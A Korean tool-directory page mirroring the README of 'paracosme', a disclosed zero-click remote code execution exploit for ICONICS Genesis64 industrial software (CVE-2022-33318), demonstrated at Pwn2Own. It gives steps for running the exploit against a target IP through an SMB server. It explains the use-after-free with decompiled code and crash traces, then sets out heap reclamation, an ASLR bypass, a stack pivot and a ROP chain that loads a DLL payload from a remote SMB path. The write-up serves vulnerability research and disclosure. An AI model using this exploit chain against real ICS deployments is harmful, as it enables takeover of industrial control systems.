Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
paracosme — Paracosme는 Pwn2Own Miami 2022 대회 무대에서 성공적으로 시연된, ICONICS Genesis64를 손상시키는 제로클릭 원격 메모리 손상 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/0vercl0k/paracosme
Vulnerability AnalysisExploitationSCADA/ICS SecurityPenetration TestingPayload DevelopmentBinary ExploitationArchived
GitHub0vercl0k/paracosme

paracosme

Paracosme는 Pwn2Own Miami 2022 대회 무대에서 성공적으로 시연된, ICONICS Genesis64를 손상시키는 제로클릭 원격 메모리 손상 익스플로잇입니다.

저장소 보기
902262년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Paracosme - CVE-2022-33318 - ICONICS Genesis64에서의 원격 코드 실행

Paracosme는 ICONICS가 만든 Genesis64 스위트 v10.97.1을 대상으로 원격 코드 실행을 달성하기 위해 작성한 메모리 손상 익스플로잇입니다.

이 익스플로잇은 S4x22 Conference에서 열린 Pwn2Own 2022 Miami 대회 기간 동안 시연되었습니다. 자세한 내용은 Pwn2Own ICS 2022 Miami 참가: ICONICS Genesis64의 제로 클릭 원격 메모리 손상 악용에서 읽을 수 있습니다.

이 이슈는 CVSS 9.8점을 받았으며 CVE-2022-33318 / ZDI-22-1041로 배정되었습니다. 수정되었고 Genesis64 10.97.2에서 수정되었습니다. 또한 ICSA-22-202-04 권고와 ICONICS의 ICONICS Suite 보안 취약점 백서를 읽을 수 있습니다.

익스플로잇 코드는 src/paracosme.py에서, 충돌을 유발하거나 영향을 받는지 확인하는 PoC는 src/paracosme-poc.py에서, 시스템에서 실행되는 페이로드는 에서 찾을 수 있습니다.

src/payload

영향을 받나요?

영향을 받는지 확인하는 가장 좋은 방법은 GenBroker64.exe에 대해 Page Heap을 켜고, 서비스를 다시 시작하고, 디버거를 GenBroker64.exe에 연결한 다음, 서버에 대해 paracosme-poc.py를 실행하면 아래와 같은 충돌이 발생하는지 확인하는 것입니다:

충돌을 확인하려면 대상 프로세스에 디버거를 연결해야 합니다. 그렇지 않으면 애플리케이션이 이를 무시합니다.

익스플로잇 실행

이 익스플로잇은 Windows에서만 테스트되었지만 Linux 플랫폼에서도 작동해야 합니다:

  1. impacket을 설치합니다: pip3 install impacket
  2. sc config lanmanserver start=disabled로 컴퓨터에서 실행 중인 SMB 서버를 끄고 재부팅합니다.
  3. smbserver.py(impacket 예제의 일부)를 사용하여 smbserver를 시작합니다: python src\smbserver.py -smb2support x bin
  4. python src\paracosme.py --target <ip>로 익스플로잇을 시작합니다.

익스플로잇

자세한 내용은 Pwn2Own ICS 2022 Miami 참가: ICONICS Genesis64의 제로 클릭 원격 메모리 손상 악용을 참조하십시오.

취약점 개요

Paracosme는 Windows 21H2 x64 시스템에서 원격 코드 실행을 달성하기 위해 GenBroker64 프로세스에서 발견된 use-after-free 문제를 악용합니다.

대략적으로, GenBroker64 프로세스는 TCP 포트 38080에서 수신 대기하며 클라이언트와 핸드셰이크를 완료한 후 다양한 패킷을 역직렬화할 수 있습니다. 제가 찾은 문제는 네트워크 소켓에서 VARIANT를 읽는 코드에 있습니다. 기본적으로 variant는 타입과 값입니다. 이 함수는 언뜻 보기에는 잘 작성된 것처럼 보이며 특정 타입만 언팩하려는 노력을 기울입니다. 이는 다음과 같습니다:

root@kitploit:~
bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

이 함수는 배열 언패킹과 단순 variant 타입 읽기를 직접 구현하지만, 이 두 가지에 해당하지 않는 무언가를 수신하면 아카이브 인스턴스의 operator>>로 빠져나갑니다. 이 아카이브 인스턴스는 다양한 객체의 직렬화 및 역직렬화를 처리하는 Microsoft Foundation Class 프레임워크에서 제공하는 객체입니다. 이 코드는 실제로 오픈소스이며 C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp에서 찾을 수 있습니다. 여기 그 코드가 있습니다:

root@kitploit:~
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

이 함수는 사소한 타입을 언패킹하는 로직도 있기 때문에 대부분 평범하지만, 제 관심을 끈 것은 VT_DISPATCH / VT_UNKNOWN이었습니다.

이게 뭐지? IPersistStream 또는 IPersistStreamInit을 구현하는 임의의 COM 객체 클래스 ID를 보낼 수 있으며, 객체를 초기화하기 위해 IPersistream::Load를 호출하여 해당 객체를 로드합니다. 이것은 놀랍고 이상한 기능이지만, 기본 Windows 10에 포함된 COM 객체에서 또 다른 버그를 찾아야 하기 때문에 보안 관점에서 그다지 흥미롭게 느껴지지 않았습니다.

이제 아래 코드를 자세히 살펴보겠습니다:

root@kitploit:~
SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

CoCreateInstance 호출은 COM 인스턴스 포인터를 pSrc->punkVal에 직접 기록하며, 이는 몇 프레임 앞선 호출자에 저장되는 결과 variant입니다. 그런 다음 IStreamPersist::Load가 예외를 발생시키면 해당 예외가 포착되고 IUnknown 및 IPersistStream 인터페이스 모두에 대해 IUnknown::Release가 호출되어 COM 객체가 해제되면서 pSrc->punkVal이 댕글링 상태로 남습니다. 또 다른 흥미로운 점은 그 후 catch 블록이 예외를 다시 던지고, 이 예외는 아래 코드에 의해 포착된다는 것입니다:

root@kitploit:~
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

이 시점에서 variant는 이미 해제되었지만 해당 타입과 값은 업데이트/변경되지 않았으므로, 이 VariantClear 호출이 두 번째 IUnknown::Release를 유발하여 아래와 같은 충돌이 발생합니다:

root@kitploit:~
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

우후, 꽤 멋집니다. IPersistStream을 구현하는 COM 객체를 인스턴스화하고 Load가 호출될 때 예외를 발생시키면 위를 유발할 수 있습니다. 트리거 코드는 paracosme-poc.py에서 찾을 수 있으며, 이는 대상 시스템의 GenBroker64.exe 프로세스를 충돌시켜야 합니다. 또한 GenBroker64.exe에서 Page Heap을 활성화하면 즉시 충돌을 볼 수 있습니다.

RIP 확보

variant에서 VariantClear가 호출되면 이를 해제하기 위해 Release 메서드에 대한 가상 호출이 디스패치됩니다. 이것은 가상 호출이므로 함수는 vtable을 읽고 고정 오프셋에서 함수 포인터를 가져와 호출합니다. 이 작업이 발생하기 전에 우리는 스레드를 경쟁시켜 ole32!CFileMoniker 인스턴스를 재확보하고 이를 제어된 데이터로 대체합니다(RacerThread_t 참조). 결과적으로 vtable 포인터를 제어하게 되며 RIP를 하이재킹하기까지 한 단계만 남게 됩니다. 아래는 완전히 제어할 수 있는 청크를 @rcx가 가리키는 해당 어셈블리 명령어를 보여줍니다:

root@kitploit:~
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

재확보된 청크를 완전히 제어할 수 있으므로 @rax를 제어합니다. 제어 흐름을 하이재킹하려면 @rip를 하이재킹할 값에 대한 포인터로 @rax를 설정해야 합니다. 여기서 큰 문제는 ASLR이며 정보 노출이 없습니다.

운 좋게도 GenBroker64.exe 모듈에는 동적 베이스(dynamic base)가 없으므로, 이를 사용하여 체인을 시작할 흥미로운 가젯을 가리키는 위치를 찾을 수 있습니다.

root@kitploit:~
0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

사용된 첫 번째 가젯은 (어떤 간접 참조도 없이) @rip를 완전히 제어할 수 있게 해주는 가젯입니다:

root@kitploit:~
0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

다음 가젯의 주소를 재확보한 청크(@rcx가 가리키는)의 오프셋 +0x10에 배치할 수 있어서 좋습니다.

두 번째로 사용하는 가젯은 스택을 완전히 제어할 수 있는 재확보된 힙 청크로 피벗합니다:

root@kitploit:~
0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

재미있는 점은 힙 청크의 주소가 항상(?) 32비트 정수에 들어맞는 위치에 있는 것처럼 보이며, 그래서 mov esp, ecx가 잘 작동한다는 것입니다.

이 시점에서 ROP는 있지만 공간이 많지 않아 꽤 답답했습니다. 여러 조건을 맞추기 위해 많은 시간을 보냈고, 결국 페이로드를 담은 DLL 파일을 가리키는 원격 SMB 경로로 LoadLibraryW를 호출하는 일련의 가젯을 만들어 냈습니다. 체인의 세부 사항에 관심이 있다면 paracosme.py@241를 확인하세요.

저자

  • Axel '0vercl0k' Souchet
도구 다운로드